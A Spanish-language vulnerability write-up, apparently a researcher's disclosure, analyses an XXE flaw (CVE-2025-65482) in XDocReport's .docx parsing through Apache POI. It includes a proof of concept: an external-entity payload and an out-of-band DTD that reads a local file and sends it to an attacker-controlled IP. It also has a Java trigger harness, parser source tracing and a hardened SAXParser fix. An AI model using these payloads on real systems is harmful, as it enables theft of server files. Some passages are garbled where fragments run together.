
CVE-2025-65482 (XXE)
XML External Entity Injection
Resumen de la vulnerabilidad
Impacto empresarial
El sitio web de gestión de personal permite a los usuarios subir archivos de documento .docx al sistema. Durante el procesamiento, la aplicación utiliza la biblioteca que contiene la vulnerabilidad XXE al pasar el archivo del usuario a través de .
fr.opensagres.xdocreport.document.docx.docxSAXParserfr.opensagres.xdocreport.template.docx — XDocReport (versiones =< 2.0.3)
La causa es el uso de Apache POI.
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
Es decir, Apache POI está muy profundo, en el módulo:
org.apache.poi.xwpf.converter.core
El error ocurre porque XDocReport (en el módulo fr.opensagres.xdocreport.document.docx) usa Apache POI para leer los archivos .docx, y POI utiliza el SAXParser por defecto de Java sin deshabilitar las características que permiten el procesamiento de DTD y entidades externas. → Esto permite al atacante insertar un DOCTYPE con una entidad que apunta hacia afuera (SYSTEM "http://...") o hacia un archivo interno (file:///...) → generando XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
editar con payload outbound para pasar por collabrator de la siguiente manera:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. con el contenido del archivo vcspentest.dtd de la siguiente manera:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
editar el archivo word/document.xml dentro del archivo .docx con el siguiente contenido para cargar el dtd externo desde la máquina wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx y subirlo al servidor para su procesamientoD:/vcspentest.txt en el servidor objetivoEn el fragmento de código o en la capa de configuración del analizador XML, es necesario deshabilitar todas las características relacionadas con DTD y entidades externas.
Arreglo similar a este código
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng Velocity
// IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
SAXParser sin validación de entradascanDocument() y escanea el contenido XML emitiendo "eventos" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, etc.)Verificar si el nombre de la entidad (name = "xxe") es una entidad externa
Si la entidad está declarada y es externa, el analizador llamará a la lógica de resolución externa (por ejemplo, startExternalEntity(...) / fEntityManager.startEntity(...)) — este es el sink: aquí el analizador tomará systemId/publicId e intentará abrir un flujo (posiblemente generando una solicitud HTTP externa).
xxe es una entidad externa, startEntity(...) llevará a la lógica de apertura de recurso (por ejemplo, startExternalEntity(...) / abrir InputStream → posibilidad de generar solicitud HTTP a la URL SYSTEM). // should we skip external entities?
boolean external = entity.isExternal();
Entity.ExternalEntity externalEntity = null;
String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
if (external) {
externalEntity = (Entity.ExternalEntity)entity;
extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
boolean unparsed = entity.isUnparsed();
boolean parameter = entityName.startsWith("%");
boolean general = !parameter;
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
}
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
La variable externalEntity.entityLocation contiene la URL maliciosa del DOCTYPE (SYSTEM "http://...oastify.com/").
resolveEntityAsPerStax, la variable resourceIdentifier contiene la ruta absoluta: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/
esta función luego convierte resourceIdentifier en un objeto XMLResourceIdentifierImpl y continúa abriendo la conexión real para leer el contenido.